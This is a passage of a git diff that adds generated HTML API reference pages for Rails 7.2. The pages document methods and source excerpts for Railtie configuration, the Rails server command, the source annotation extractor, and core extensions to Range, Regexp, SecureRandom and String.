# File railties/lib/rails/railtie/configuration.rb, line 60
+      def before_eager_load(&block)
+        ActiveSupport.on_load(:before_eager_load, yield: true, &block)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + before_initialize(&block) + +

+ + +
+

Second configurable block to run. Called before frameworks initialize.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/railtie/configuration.rb, line 65
+      def before_initialize(&block)
+        ActiveSupport.on_load(:before_initialize, yield: true, &block)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + eager_load_namespaces() + +

+ + +
+

All namespaces that are eager loaded

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/railtie/configuration.rb, line 18
+      def eager_load_namespaces
+        @@eager_load_namespaces ||= []
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + respond_to?(name, include_private = false) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/railtie/configuration.rb, line 90
+      def respond_to?(name, include_private = false)
+        super || @@options.key?(name.to_sym)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + to_prepare(&blk) + +

+ + +
+

Defines generic callbacks to run before after_initialize. Useful for Rails::Railtie subclasses.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/railtie/configuration.rb, line 86
+      def to_prepare(&blk)
+        to_prepare_blocks << blk if blk
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + to_prepare_blocks() + +

+ + +
+

Array of callbacks defined by to_prepare.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/railtie/configuration.rb, line 80
+      def to_prepare_blocks
+        @@to_prepare_blocks ||= []
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + watchable_dirs() + +

+ + +
+

Add directories that should be watched for change. The key of the hashes should be directories and the values should be an array of extensions to match in each directory.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/railtie/configuration.rb, line 30
+      def watchable_dirs
+        @@watchable_dirs ||= {}
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + watchable_files() + +

+ + +
+

Add files that should be watched for change.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/railtie/configuration.rb, line 23
+      def watchable_files
+        @@watchable_files ||= []
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/Rails/Server.html b/src/7.2/classes/Rails/Server.html new file mode 100644 index 0000000000..b5950ab8ad --- /dev/null +++ b/src/7.2/classes/Rails/Server.html @@ -0,0 +1,366 @@ +--- +title: Rails::Server +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + new(options = nil) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/commands/server/server_command.rb, line 18
+    def initialize(options = nil)
+      @default_options = options || {}
+      super(@default_options)
+      set_environment
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + default_options() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/commands/server/server_command.rb, line 54
+    def default_options
+      super.merge(@default_options)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + middleware() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/commands/server/server_command.rb, line 50
+    def middleware
+      Hash.new([])
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + opt_parser() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/commands/server/server_command.rb, line 24
+    def opt_parser
+      Options.new
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + served_url() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/commands/server/server_command.rb, line 58
+    def served_url
+      "#{options[:SSLEnable] ? 'https' : 'http'}://#{options[:Host]}:#{options[:Port]}" unless use_puma?
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + set_environment() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/commands/server/server_command.rb, line 28
+    def set_environment
+      ENV["RAILS_ENV"] ||= options[:environment]
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + start(after_stop_callback = nil) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/commands/server/server_command.rb, line 32
+    def start(after_stop_callback = nil)
+      trap(:INT) { exit }
+      create_tmp_directories
+      setup_dev_caching
+      log_to_stdout if options[:log_stdout]
+
+      super()
+    ensure
+      after_stop_callback.call if after_stop_callback
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/Rails/Server/Options.html b/src/7.2/classes/Rails/Server/Options.html new file mode 100644 index 0000000000..862d4ceef7 --- /dev/null +++ b/src/7.2/classes/Rails/Server/Options.html @@ -0,0 +1,107 @@ +--- +title: Rails::Server::Options +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + parse!(args) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/commands/server/server_command.rb, line 13
+      def parse!(args)
+        Rails::Command::ServerCommand.new([], args).server_options
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/Rails/SourceAnnotationExtractor.html b/src/7.2/classes/Rails/SourceAnnotationExtractor.html new file mode 100644 index 0000000000..66eaa3fc89 --- /dev/null +++ b/src/7.2/classes/Rails/SourceAnnotationExtractor.html @@ -0,0 +1,359 @@ +--- +title: Rails::SourceAnnotationExtractor +layout: default +--- +
+ +
+
+ +
+ +

Implements the logic behind Rails::Command::NotesCommand. See rails notes --help for usage information.

+ +

Annotation objects are triplets :line, :tag, :text that represent the line where the annotation lives, its tag, and its text. Note the filename is not stored.

+ +

Annotations are looked for in comments and modulus whitespace they have to start with the tag optionally followed by a colon. Everything up to the end of the line (or closing ERB comment tag) is considered to be their text.

+ +
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + +

Methods

+ + + + + + + + + + + + + + +

Attributes

+ + + + + + + + +
+ [R] + tag
+ + + + +

Class Public methods

+ +
+

+ + enumerate(tag = nil, options = {}) + +

+ + +
+

Prints all annotations with tag tag under the root directories app, config, db, lib, and test (recursively).

+ +

If tag is nil, annotations with either default or registered tags are printed.

+ +

Specific directories can be explicitly set using the :dirs key in options.

+ +
Rails::SourceAnnotationExtractor.enumerate 'TODO|FIXME', dirs: %w(app lib), tag: true
+
+ +

If options has a :tag flag, it will be passed to each annotation’s to_s.

+ +

See SourceAnnotationExtractor#find_in for a list of file extensions that will be taken into account.

+ +

This class method is the single entry point for the rails notes command.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/source_annotation_extractor.rb, line 128
+    def self.enumerate(tag = nil, options = {})
+      tag ||= Annotation.tags.join("|")
+      extractor = new(tag)
+      dirs = options.delete(:dirs) || Annotation.directories
+      extractor.display(extractor.find(dirs), options)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + new(tag) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/source_annotation_extractor.rb, line 137
+    def initialize(tag)
+      @tag = tag
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + display(results, options = {}) + +

+ + +
+

Prints the mapping from filenames to annotations in results ordered by filename. The options hash is passed to each annotation’s to_s.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/source_annotation_extractor.rb, line 186
+    def display(results, options = {})
+      options[:indent] = results.flat_map { |f, a| a.map(&:line) }.max.to_s.size
+      results.keys.sort.each do |file|
+        puts "#{file}:"
+        results[file].each do |note|
+          puts "  * #{note.to_s(options)}"
+        end
+        puts
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + find(dirs) + +

+ + +
+

Returns a hash that maps filenames under dirs (recursively) to arrays with their annotations.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/source_annotation_extractor.rb, line 143
+    def find(dirs)
+      dirs.inject({}) { |h, dir| h.update(find_in(dir)) }
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + find_in(dir) + +

+ + +
+

Returns a hash that maps filenames under dir (recursively) to arrays with their annotations. Files with extensions registered in Rails::SourceAnnotationExtractor::Annotation.extensions are taken into account. Only files with annotations are included.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/source_annotation_extractor.rb, line 151
+    def find_in(dir)
+      results = {}
+
+      Dir.glob("#{dir}/*") do |item|
+        next if File.basename(item).start_with?(".")
+
+        if File.directory?(item)
+          results.update(find_in(item))
+        else
+          extension = Annotation.extensions.detect do |regexp, _block|
+            regexp.match(item)
+          end
+
+          if extension
+            pattern = extension.last.call(tag)
+
+            # In case a user-defined pattern returns nothing for the given set
+            # of tags, we exit early.
+            next unless pattern
+
+            # If a user-defined pattern returns a regular expression, we will
+            # wrap it in a PatternExtractor to keep the same API.
+            pattern = PatternExtractor.new(pattern) if pattern.is_a?(Regexp)
+
+            annotations = pattern.annotations(item)
+            results.update(item => annotations) if annotations.any?
+          end
+        end
+      end
+
+      results
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/Rails/SourceAnnotationExtractor/Annotation.html b/src/7.2/classes/Rails/SourceAnnotationExtractor/Annotation.html new file mode 100644 index 0000000000..69f724a815 --- /dev/null +++ b/src/7.2/classes/Rails/SourceAnnotationExtractor/Annotation.html @@ -0,0 +1,360 @@ +--- +title: Rails::SourceAnnotationExtractor::Annotation +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + directories() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/source_annotation_extractor.rb, line 55
+      def self.directories
+        @@directories ||= %w(app config db lib test)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + extensions() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/source_annotation_extractor.rb, line 75
+      def self.extensions
+        @@extensions ||= {}
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + register_directories(*dirs) + +

+ + +
+

Registers additional directories to be included

+ +
Rails::SourceAnnotationExtractor::Annotation.register_directories("spec", "another")
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/source_annotation_extractor.rb, line 61
+      def self.register_directories(*dirs)
+        directories.push(*dirs)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + register_extensions(*exts, &block) + +

+ + +
+

Registers new Annotations File Extensions

+ +
Rails::SourceAnnotationExtractor::Annotation.register_extensions("css", "scss", "sass", "less", "js") { |tag| /\/\/\s*(#{tag}):?\s*(.*)$/ }
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/source_annotation_extractor.rb, line 81
+      def self.register_extensions(*exts, &block)
+        extensions[/\.(#{exts.join("|")})$/] = block
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + register_tags(*additional_tags) + +

+ + +
+

Registers additional tags

+ +
Rails::SourceAnnotationExtractor::Annotation.register_tags("TESTME", "DEPRECATEME")
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/source_annotation_extractor.rb, line 71
+      def self.register_tags(*additional_tags)
+        tags.push(*additional_tags)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + tags() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/source_annotation_extractor.rb, line 65
+      def self.tags
+        @@tags ||= %w(OPTIMIZE FIXME TODO)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + to_s(options = {}) + +

+ + +
+

Returns a representation of the annotation that looks like this:

+ +
[126] [TODO] This algorithm is simple and clearly correct, make it faster.
+
+ +

If options has a flag :tag the tag is shown as in the example above. Otherwise the string contains just line and text.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/source_annotation_extractor.rb, line 107
+      def to_s(options = {})
+        s = +"[#{line.to_s.rjust(options[:indent])}] "
+        s << "[#{tag}] " if options[:tag]
+        s << text
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/Rails/SourceAnnotationExtractor/ParserExtractor.html b/src/7.2/classes/Rails/SourceAnnotationExtractor/ParserExtractor.html new file mode 100644 index 0000000000..4d2a6a0f29 --- /dev/null +++ b/src/7.2/classes/Rails/SourceAnnotationExtractor/ParserExtractor.html @@ -0,0 +1,128 @@ +--- +title: Rails::SourceAnnotationExtractor::ParserExtractor +layout: default +--- +
+ +
+
+ +
+ +

Wraps a regular expression that will be tested against each of the source file’s comments.

+ +
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + annotations(file) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/source_annotation_extractor.rb, line 33
+      def annotations(file)
+        contents = File.read(file, encoding: Encoding::BINARY)
+        parser = Parser.new(contents, pattern: pattern).tap(&:parse)
+        parser.error? ? [] : parser.comments
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/Rails/SourceAnnotationExtractor/ParserExtractor/Parser.html b/src/7.2/classes/Rails/SourceAnnotationExtractor/ParserExtractor/Parser.html new file mode 100644 index 0000000000..3ef6fdb5bd --- /dev/null +++ b/src/7.2/classes/Rails/SourceAnnotationExtractor/ParserExtractor/Parser.html @@ -0,0 +1,173 @@ +--- +title: Rails::SourceAnnotationExtractor::ParserExtractor::Parser +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + +

Attributes

+ + + + + + + + + + + + + + +
+ [R] + comments
+ [R] + pattern
+ + + + +

Class Public methods

+ +
+

+ + new(source, pattern:) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/source_annotation_extractor.rb, line 22
+        def initialize(source, pattern:)
+          super(source)
+          @pattern = pattern
+          @comments = []
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + on_comment(value) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/source_annotation_extractor.rb, line 28
+        def on_comment(value)
+          @comments << Annotation.new(lineno, $1, $2) if value =~ pattern
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/Rails/SourceAnnotationExtractor/PatternExtractor.html b/src/7.2/classes/Rails/SourceAnnotationExtractor/PatternExtractor.html new file mode 100644 index 0000000000..3f35120334 --- /dev/null +++ b/src/7.2/classes/Rails/SourceAnnotationExtractor/PatternExtractor.html @@ -0,0 +1,119 @@ +--- +title: Rails::SourceAnnotationExtractor::PatternExtractor +layout: default +--- +
+ +
+
+ +
+ +

Wraps a regular expression that will iterate through a file’s lines and test each one for the given pattern.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + annotations(file) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/source_annotation_extractor.rb, line 43
+      def annotations(file)
+        lineno = 0
+
+        File.readlines(file, encoding: Encoding::BINARY).inject([]) do |list, line|
+          lineno += 1
+          next list unless line =~ pattern
+          list << Annotation.new(lineno, $1, $2)
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/Rails/VERSION.html b/src/7.2/classes/Rails/VERSION.html new file mode 100644 index 0000000000..c2a18a7883 --- /dev/null +++ b/src/7.2/classes/Rails/VERSION.html @@ -0,0 +1,99 @@ +--- +title: Rails::VERSION +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + +

Constants

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
MAJOR=7
MINOR=2
PRE=nil
STRING=[MAJOR, MINOR, TINY, PRE].compact.join(".")
TINY=2
+ + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/Range.html b/src/7.2/classes/Range.html new file mode 100644 index 0000000000..ad99d266e9 --- /dev/null +++ b/src/7.2/classes/Range.html @@ -0,0 +1,204 @@ +--- +title: Range +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + _empty_range?(b, e, excl) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/range/overlap.rb, line 31
+    def _empty_range?(b, e, excl)
+      return false if b.nil? || e.nil?
+
+      comp = b <=> e
+      comp.nil? || comp > 0 || (comp == 0 && excl)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + overlap?(other) + +

+ + +
+ +
+ + + +
+ Also aliased as: overlaps? +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/range/overlap.rb, line 8
+    def overlap?(other)
+      raise TypeError unless other.is_a? Range
+
+      self_begin = self.begin
+      other_end = other.end
+      other_excl = other.exclude_end?
+
+      return false if _empty_range?(self_begin, other_end, other_excl)
+
+      other_begin = other.begin
+      self_end = self.end
+      self_excl = self.exclude_end?
+
+      return false if _empty_range?(other_begin, self_end, self_excl)
+      return true if self_begin == other_begin
+
+      return false if _empty_range?(self_begin, self_end, self_excl)
+      return false if _empty_range?(other_begin, other_end, other_excl)
+
+      true
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + overlaps?(other) + +

+ + +
+ +
+ + + + + +
+ Alias for: overlap? +
+ + + + +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/Regexp.html b/src/7.2/classes/Regexp.html new file mode 100644 index 0000000000..854e626fe8 --- /dev/null +++ b/src/7.2/classes/Regexp.html @@ -0,0 +1,116 @@ +--- +title: Regexp +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + multiline?() + +

+ + +
+

Returns true if the regexp has the multiline flag set.

+ +
(/./).multiline?  # => false
+(/./m).multiline? # => true
+
+Regexp.new(".").multiline?                    # => false
+Regexp.new(".", Regexp::MULTILINE).multiline? # => true
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/regexp.rb, line 11
+  def multiline?
+    options & MULTILINE == MULTILINE
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/SecureRandom.html b/src/7.2/classes/SecureRandom.html new file mode 100644 index 0000000000..58ef17ddd8 --- /dev/null +++ b/src/7.2/classes/SecureRandom.html @@ -0,0 +1,184 @@ +--- +title: SecureRandom +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + +

Constants

+ + + + + + + + + + + + + + + + +
BASE36_ALPHABET=("0".."9").to_a + ("a".."z").to_a
BASE58_ALPHABET=("0".."9").to_a + ("A".."Z").to_a + ("a".."z").to_a - ["0", "O", "I", "l"]
+ + + + + + +

Class Public methods

+ +
+

+ + base36(n = 16) + +

+ + +
+

SecureRandom.base36 generates a random base36 string in lowercase.

+ +

The argument n specifies the length of the random string to be generated.

+ +

If n is not specified or is nil, 16 is assumed. It may be larger in the future. This method can be used over base58 if a deterministic case key is necessary.

+ +

The result will contain alphanumeric characters in lowercase.

+ +
p SecureRandom.base36 # => "4kugl2pdqmscqtje"
+p SecureRandom.base36(24) # => "77tmhrhjfvfdwodq8w7ev2m7"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/securerandom.rb, line 34
+  def self.base36(n = 16)
+    SecureRandom.random_bytes(n).unpack("C*").map do |byte|
+      idx = byte % 64
+      idx = SecureRandom.random_number(36) if idx >= 36
+      BASE36_ALPHABET[idx]
+    end.join
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + base58(n = 16) + +

+ + +
+

SecureRandom.base58 generates a random base58 string.

+ +

The argument n specifies the length of the random string to be generated.

+ +

If n is not specified or is nil, 16 is assumed. It may be larger in the future.

+ +

The result may contain alphanumeric characters except 0, O, I, and l.

+ +
p SecureRandom.base58 # => "4kUgL2pdQMSCQtjE"
+p SecureRandom.base58(24) # => "77TMHrHJFvFDwodq8w7Ev2m7"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/securerandom.rb, line 19
+  def self.base58(n = 16)
+    SecureRandom.alphanumeric(n, chars: BASE58_ALPHABET)
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + + +
+ +
+
diff --git a/src/7.2/classes/Singleton.html b/src/7.2/classes/Singleton.html new file mode 100644 index 0000000000..3ce247bed7 --- /dev/null +++ b/src/7.2/classes/Singleton.html @@ -0,0 +1,104 @@ +--- +title: Singleton +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + duplicable?() + +

+ + +
+

Singleton instances are not duplicable:

+ +
Class.new.include(Singleton).instance.dup # TypeError (can't dup instance of singleton
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/object/duplicable.rb, line 66
+  def duplicable?
+    false
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/String.html b/src/7.2/classes/String.html new file mode 100644 index 0000000000..e1817437e6 --- /dev/null +++ b/src/7.2/classes/String.html @@ -0,0 +1,2402 @@ +--- +title: String +layout: default +--- +
+ +
+
+ +
+ +

String inflections define new methods on the String class to transform names for different purposes. For instance, you can figure out the name of a table from the name of a class.

+ +
'ScaleScore'.tableize # => "scale_scores"
+
+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + +

Constants

+ + + + + + + + + + + + + + + + +
BLANK_RE=/\A[[:space:]]*\z/
ENCODED_BLANKS=Concurrent::Map.new do |h, enc| +h[enc] = Regexp.new(BLANK_RE.source.encode(enc), BLANK_RE.options | Regexp::FIXEDENCODING) +end
+ + + + + + + +

Instance Public methods

+ +
+

+ + acts_like_string?() + +

+ + +
+

Enables more predictable duck-typing on String-like classes. See Object#acts_like?.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/string/behavior.rb, line 5
+  def acts_like_string?
+    true
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + at(position) + +

+ + +
+

If you pass a single integer, returns a substring of one character at that position. The first character of the string is at position 0, the next at position 1, and so on. If a range is supplied, a substring containing characters at offsets given by the range is returned. In both cases, if an offset is negative, it is counted from the end of the string. Returns nil if the initial offset falls outside the string. Returns an empty string if the beginning of the range is greater than the end of the string.

+ +
str = "hello"
+str.at(0)      # => "h"
+str.at(1..3)   # => "ell"
+str.at(-2)     # => "l"
+str.at(-2..-1) # => "lo"
+str.at(5)      # => nil
+str.at(5..-1)  # => ""
+
+ +

If a Regexp is given, the matching portion of the string is returned. If a String is given, that given string is returned if it occurs in the string. In both cases, nil is returned if there is no match.

+ +
str = "hello"
+str.at(/lo/) # => "lo"
+str.at(/ol/) # => nil
+str.at("lo") # => "lo"
+str.at("ol") # => nil
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/string/access.rb, line 29
+  def at(position)
+    self[position]
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + blank?() + +

+ + +
+

A string is blank if it’s empty or contains whitespaces only:

+ +
''.blank?       # => true
+'   '.blank?    # => true
+"\t\n\r".blank? # => true
+' blah '.blank? # => false
+
+ +

Unicode whitespace is supported:

+ +
"\u00a0".blank? # => true
+
+ +

@return [true, false]

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/object/blank.rb, line 153
+  def blank?
+    # The regexp that matches blank strings is expensive. For the case of empty
+    # strings we can speed up this method (~3.5x) with an empty? call. The
+    # penalty for the rest of strings is marginal.
+    empty? ||
+      begin
+        BLANK_RE.match?(self)
+      rescue Encoding::CompatibilityError
+        ENCODED_BLANKS[self.encoding].match?(self)
+      end
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + camelcase(first_letter = :upper) + +

+ + +
+ +
+ + + + + +
+ Alias for: camelize +
+ + + + +
+ +
+

+ + camelize(first_letter = :upper) + +

+ + +
+

By default, camelize converts strings to UpperCamelCase. If the argument to camelize is set to :lower then camelize produces lowerCamelCase.

+ +

camelize will also convert β€˜/’ to β€˜::’ which is useful for converting paths to namespaces.

+ +
'active_record'.camelize                # => "ActiveRecord"
+'active_record'.camelize(:lower)        # => "activeRecord"
+'active_record/errors'.camelize         # => "ActiveRecord::Errors"
+'active_record/errors'.camelize(:lower) # => "activeRecord::Errors"
+
+ +

See ActiveSupport::Inflector.camelize.

+
+ + + +
+ Also aliased as: camelcase +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/string/inflections.rb, line 101
+  def camelize(first_letter = :upper)
+    case first_letter
+    when :upper
+      ActiveSupport::Inflector.camelize(self, true)
+    when :lower
+      ActiveSupport::Inflector.camelize(self, false)
+    else
+      raise ArgumentError, "Invalid option, use either :upper or :lower."
+    end
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + classify() + +

+ + +
+

Creates a class name from a plural table name like Rails does for table names to models. Note that this returns a string and not a class. (To convert to an actual class follow classify with constantize.)

+ +
'ham_and_eggs'.classify # => "HamAndEgg"
+'posts'.classify        # => "Post"
+
+ +

See ActiveSupport::Inflector.classify.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/string/inflections.rb, line 239
+  def classify
+    ActiveSupport::Inflector.classify(self)
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + constantize() + +

+ + +
+

constantize tries to find a declared constant with the name specified in the string. It raises a NameError when the name is not in CamelCase or is not initialized.

+ +
'Module'.constantize  # => Module
+'Class'.constantize   # => Class
+'blargle'.constantize # => NameError: wrong constant name blargle
+
+ +

See ActiveSupport::Inflector.constantize.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/string/inflections.rb, line 73
+  def constantize
+    ActiveSupport::Inflector.constantize(self)
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + dasherize() + +

+ + +
+

Replaces underscores with dashes in the string.

+ +
'puni_puni'.dasherize # => "puni-puni"
+
+ +

See ActiveSupport::Inflector.dasherize.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/string/inflections.rb, line 148
+  def dasherize
+    ActiveSupport::Inflector.dasherize(self)
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + deconstantize() + +

+ + +
+

Removes the rightmost segment from the constant expression in the string.

+ +
'Net::HTTP'.deconstantize   # => "Net"
+'::Net::HTTP'.deconstantize # => "::Net"
+'String'.deconstantize      # => ""
+'::String'.deconstantize    # => ""
+''.deconstantize            # => ""
+
+ +

See ActiveSupport::Inflector.deconstantize.

+ +

See also demodulize.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/string/inflections.rb, line 177
+  def deconstantize
+    ActiveSupport::Inflector.deconstantize(self)
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + demodulize() + +

+ + +
+

Removes the module part from the constant expression in the string.

+ +
'ActiveSupport::Inflector::Inflections'.demodulize # => "Inflections"
+'Inflections'.demodulize                           # => "Inflections"
+'::Inflections'.demodulize                         # => "Inflections"
+''.demodulize                                      # => ''
+
+ +

See ActiveSupport::Inflector.demodulize.

+ +

See also deconstantize.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/string/inflections.rb, line 162
+  def demodulize
+    ActiveSupport::Inflector.demodulize(self)
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + downcase_first() + +

+ + +
+

Converts the first character to lowercase.

+ +
'If they enjoyed The Matrix'.downcase_first # => "if they enjoyed The Matrix"
+'I'.downcase_first                          # => "i"
+''.downcase_first                           # => ""
+
+ +

See ActiveSupport::Inflector.downcase_first.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/string/inflections.rb, line 284
+  def downcase_first
+    ActiveSupport::Inflector.downcase_first(self)
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + exclude?(string) + +

+ + +
+

The inverse of String#include?. Returns true if the string does not include the other string.

+ +
"hello".exclude? "lo" # => false
+"hello".exclude? "ol" # => true
